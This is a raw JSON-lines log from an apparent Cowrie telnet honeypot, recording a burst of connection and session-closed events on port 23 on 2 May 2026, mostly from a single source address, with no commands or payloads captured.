{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e5cbbc6bbf","protocol":"telnet","message":"New connection: 174.142.104.49:32802 (159.203.135.109:23) [session: d4e5cbbc6bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.450067Z"}
{"eventid":"cowrie.session.closed","duration":30.504541158676147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.480652Z","src_ip":"174.142.104.49","session":"2f167ddfb260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003299474716187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.526082Z","src_ip":"174.142.104.49","session":"424855cbd5ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49606,"dst_ip":"159.203.135.109","dst_port":23,"session":"52864bc54d25","protocol":"telnet","message":"New connection: 174.142.104.49:49606 (159.203.135.109:23) [session: 52864bc54d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.617301Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33068,"dst_ip":"159.203.135.109","dst_port":23,"session":"76c12b84dbf5","protocol":"telnet","message":"New connection: 174.142.104.49:33068 (159.203.135.109:23) [session: 76c12b84dbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.629942Z"}
{"eventid":"cowrie.session.closed","duration":31.51772928237915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.734671Z","src_ip":"174.142.104.49","session":"fc0020f6e1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32827115058899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.768278Z","src_ip":"174.142.104.49","session":"e2ff32458a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35308,"dst_ip":"159.203.135.109","dst_port":23,"session":"1129a8e8bc61","protocol":"telnet","message":"New connection: 174.142.104.49:35308 (159.203.135.109:23) [session: 1129a8e8bc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.970626Z"}
{"eventid":"cowrie.session.closed","duration":65.50580549240112,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:21.058608Z","src_ip":"174.142.104.49","session":"3de7872f49b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.307854890823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:21.585704Z","src_ip":"174.142.104.49","session":"4da529b5c32d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"73da54d51757","protocol":"telnet","message":"New connection: 174.142.104.49:36580 (159.203.135.109:23) [session: 73da54d51757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:21.748222Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36622,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d44b50d383","protocol":"telnet","message":"New connection: 174.142.104.49:36622 (159.203.135.109:23) [session: 94d44b50d383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:21.768916Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36814,"dst_ip":"159.203.135.109","dst_port":23,"session":"97a67c73305c","protocol":"telnet","message":"New connection: 174.142.104.49:36814 (159.203.135.109:23) [session: 97a67c73305c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:21.909066Z"}
{"eventid":"cowrie.session.closed","duration":31.6262149810791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.069830Z","src_ip":"174.142.104.49","session":"624ca6ac73f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.89880084991455,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.151746Z","src_ip":"174.142.104.49","session":"fc24dc4ea4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37296,"dst_ip":"159.203.135.109","dst_port":23,"session":"246d98a9f9bf","protocol":"telnet","message":"New connection: 174.142.104.49:37296 (159.203.135.109:23) [session: 246d98a9f9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.226191Z"}
{"eventid":"cowrie.session.closed","duration":30.653125047683716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.381803Z","src_ip":"174.142.104.49","session":"b12879c7ef71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35918,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b78de4aac32","protocol":"telnet","message":"New connection: 174.142.104.49:35918 (159.203.135.109:23) [session: 4b78de4aac32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.403835Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42612,"dst_ip":"159.203.135.109","dst_port":23,"session":"9732a239d066","protocol":"telnet","message":"New connection: 174.142.104.49:42612 (159.203.135.109:23) [session: 9732a239d066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.410437Z"}
{"eventid":"cowrie.session.closed","duration":30.91633105278015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.425331Z","src_ip":"174.142.104.49","session":"90f418d9c592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37882,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5aff85d1b3","protocol":"telnet","message":"New connection: 174.142.104.49:37882 (159.203.135.109:23) [session: 0c5aff85d1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.664894Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38138,"dst_ip":"159.203.135.109","dst_port":23,"session":"91be42155cc8","protocol":"telnet","message":"New connection: 174.142.104.49:38138 (159.203.135.109:23) [session: 91be42155cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:22.785035Z"}
{"eventid":"cowrie.session.closed","duration":54.59058928489685,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.071888Z","src_ip":"174.142.104.49","session":"ed0ea9edc4da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713159322738647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.316803Z","src_ip":"174.142.104.49","session":"818e6ca41a99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37508,"dst_ip":"159.203.135.109","dst_port":23,"session":"0810e995e22f","protocol":"telnet","message":"New connection: 174.142.104.49:37508 (159.203.135.109:23) [session: 0810e995e22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.369573Z"}
{"eventid":"cowrie.session.closed","duration":70.72069025039673,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.415760Z","src_ip":"174.142.104.49","session":"3fe3c9af8cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.271387815475464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.664698Z","src_ip":"174.142.104.49","session":"3dc6d59cfb1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366256952285767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.765744Z","src_ip":"174.142.104.49","session":"986c5041b3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f57d7fb968b","protocol":"telnet","message":"New connection: 174.142.104.49:39860 (159.203.135.109:23) [session: 2f57d7fb968b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.919101Z"}
{"eventid":"cowrie.session.closed","duration":71.04328060150146,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.951583Z","src_ip":"174.142.104.49","session":"283ae464ba4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40022,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6232bf4d150","protocol":"telnet","message":"New connection: 174.142.104.49:40022 (159.203.135.109:23) [session: c6232bf4d150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:23.984760Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38528,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c50f583e75e","protocol":"telnet","message":"New connection: 174.142.104.49:38528 (159.203.135.109:23) [session: 9c50f583e75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:24.032641Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"996d710f3e93","protocol":"telnet","message":"New connection: 174.142.104.49:38580 (159.203.135.109:23) [session: 996d710f3e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:24.062469Z"}
{"eventid":"cowrie.session.closed","duration":30.35060977935791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:24.214885Z","src_ip":"174.142.104.49","session":"8d21adb8b009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5265531539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:24.411770Z","src_ip":"174.142.104.49","session":"eda5761d7db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39836,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1c4d3738d5","protocol":"telnet","message":"New connection: 174.142.104.49:39836 (159.203.135.109:23) [session: da1c4d3738d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:24.911608Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d083d60594f5","protocol":"telnet","message":"New connection: 161.132.53.68:55860 (159.203.135.109:23) [session: d083d60594f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.226004Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"7736dd6ef491","protocol":"telnet","message":"New connection: 174.142.104.49:41994 (159.203.135.109:23) [session: 7736dd6ef491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.236220Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"199bda838b53","protocol":"telnet","message":"New connection: 174.142.104.49:40744 (159.203.135.109:23) [session: 199bda838b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.405522Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42600,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ccf2f2c2053","protocol":"telnet","message":"New connection: 174.142.104.49:42600 (159.203.135.109:23) [session: 0ccf2f2c2053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.683871Z"}
{"eventid":"cowrie.session.closed","duration":30.719653367996216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.689653Z","src_ip":"174.142.104.49","session":"c7305b5528f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f882c7768f76","protocol":"telnet","message":"New connection: 174.142.104.49:42642 (159.203.135.109:23) [session: f882c7768f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.703156Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0433369b8e","protocol":"telnet","message":"New connection: 174.142.104.49:41184 (159.203.135.109:23) [session: 8a0433369b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.718090Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38302,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f6d1ba0380","protocol":"telnet","message":"New connection: 174.142.104.49:38302 (159.203.135.109:23) [session: 21f6d1ba0380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.880949Z"}
{"eventid":"cowrie.session.closed","duration":30.819663763046265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.919607Z","src_ip":"174.142.104.49","session":"d37dccc124ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477086782455444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:25.938107Z","src_ip":"174.142.104.49","session":"e832a6463372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55868,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c02cc72614","protocol":"telnet","message":"New connection: 161.132.53.68:55868 (159.203.135.109:23) [session: 33c02cc72614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.318290Z"}
{"eventid":"cowrie.session.closed","duration":31.012722969055176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.339109Z","src_ip":"174.142.104.49","session":"0a0b1ca92ba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883337259292603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.494749Z","src_ip":"174.142.104.49","session":"89f195972a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09769558906555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.506963Z","src_ip":"174.142.104.49","session":"cb1345528838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25241708755493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.610821Z","src_ip":"174.142.104.49","session":"2d7cac391646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32998,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa8bac942da","protocol":"telnet","message":"New connection: 174.142.104.49:32998 (159.203.135.109:23) [session: caa8bac942da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.761459Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42978,"dst_ip":"159.203.135.109","dst_port":23,"session":"85fc86513fb2","protocol":"telnet","message":"New connection: 174.142.104.49:42978 (159.203.135.109:23) [session: 85fc86513fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:26.948661Z"}
{"eventid":"cowrie.session.closed","duration":31.4656081199646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.181822Z","src_ip":"174.142.104.49","session":"89e67c0adf2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33694338798523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.190202Z","src_ip":"174.142.104.49","session":"f16e9fcbe4e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42020,"dst_ip":"159.203.135.109","dst_port":23,"session":"69ea5855465d","protocol":"telnet","message":"New connection: 161.132.53.68:42020 (159.203.135.109:23) [session: 69ea5855465d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.340218Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45232,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba7ebd240e36","protocol":"telnet","message":"New connection: 174.142.104.49:45232 (159.203.135.109:23) [session: ba7ebd240e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.344138Z"}
{"eventid":"cowrie.session.closed","duration":68.02370643615723,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.453792Z","src_ip":"174.142.104.49","session":"1b8d6a7e6ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920785665512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.565780Z","src_ip":"174.142.104.49","session":"bf1bc9f5d5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934290409088135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.649804Z","src_ip":"174.142.104.49","session":"b734a79cd840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147611379623413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:27.834716Z","src_ip":"174.142.104.49","session":"73deef1eaab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46128535270691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:28.014800Z","src_ip":"174.142.104.49","session":"f9e57f6cd623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19846820831299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:28.020348Z","src_ip":"174.142.104.49","session":"e3d3d4a0855c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.5437080860138,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:28.395737Z","src_ip":"174.142.104.49","session":"384b46d5a881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42316,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc3c3ffb5be","protocol":"telnet","message":"New connection: 174.142.104.49:42316 (159.203.135.109:23) [session: 6fc3c3ffb5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:28.425467Z"}
{"eventid":"cowrie.session.closed","duration":31.947094440460205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.131259Z","src_ip":"174.142.104.49","session":"9956d2413e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a127780f9f3","protocol":"telnet","message":"New connection: 174.142.104.49:46740 (159.203.135.109:23) [session: 0a127780f9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.239736Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6d6fbe2fa88","protocol":"telnet","message":"New connection: 174.142.104.49:48360 (159.203.135.109:23) [session: a6d6fbe2fa88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.246843Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38990,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab75e11d819","protocol":"telnet","message":"New connection: 174.142.104.49:38990 (159.203.135.109:23) [session: fab75e11d819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.321815Z"}
{"eventid":"cowrie.session.closed","duration":30.99884295463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.330306Z","src_ip":"174.142.104.49","session":"fa68ee69ea3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375301122665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.373969Z","src_ip":"174.142.104.49","session":"dca9ac8d1bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46990,"dst_ip":"159.203.135.109","dst_port":23,"session":"d402e1b49dc1","protocol":"telnet","message":"New connection: 174.142.104.49:46990 (159.203.135.109:23) [session: d402e1b49dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.426530Z"}
{"eventid":"cowrie.session.closed","duration":30.64580011367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.432087Z","src_ip":"174.142.104.49","session":"0de8181bfc19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37456,"dst_ip":"159.203.135.109","dst_port":23,"session":"7973a1d89275","protocol":"telnet","message":"New connection: 174.142.104.49:37456 (159.203.135.109:23) [session: 7973a1d89275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.578171Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44148,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab9b2d381a9","protocol":"telnet","message":"New connection: 174.142.104.49:44148 (159.203.135.109:23) [session: 3ab9b2d381a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.683642Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44176,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b1fcdd55feb","protocol":"telnet","message":"New connection: 174.142.104.49:44176 (159.203.135.109:23) [session: 4b1fcdd55feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.701971Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44210,"dst_ip":"159.203.135.109","dst_port":23,"session":"acaa244a27e0","protocol":"telnet","message":"New connection: 174.142.104.49:44210 (159.203.135.109:23) [session: acaa244a27e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:29.733403Z"}
{"eventid":"cowrie.session.closed","duration":31.415624380111694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.145114Z","src_ip":"174.142.104.49","session":"d05b31e75057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.593726873397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.162900Z","src_ip":"174.142.104.49","session":"989fb542c655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.268659591674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.282808Z","src_ip":"174.142.104.49","session":"02ff2b57e359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50436,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c42e64a261a","protocol":"telnet","message":"New connection: 174.142.104.49:50436 (159.203.135.109:23) [session: 4c42e64a261a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.643469Z"}
{"eventid":"cowrie.session.closed","duration":31.264007091522217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:30.783267Z","src_ip":"174.142.104.49","session":"b98f25249f99","protocol":"telnet"}
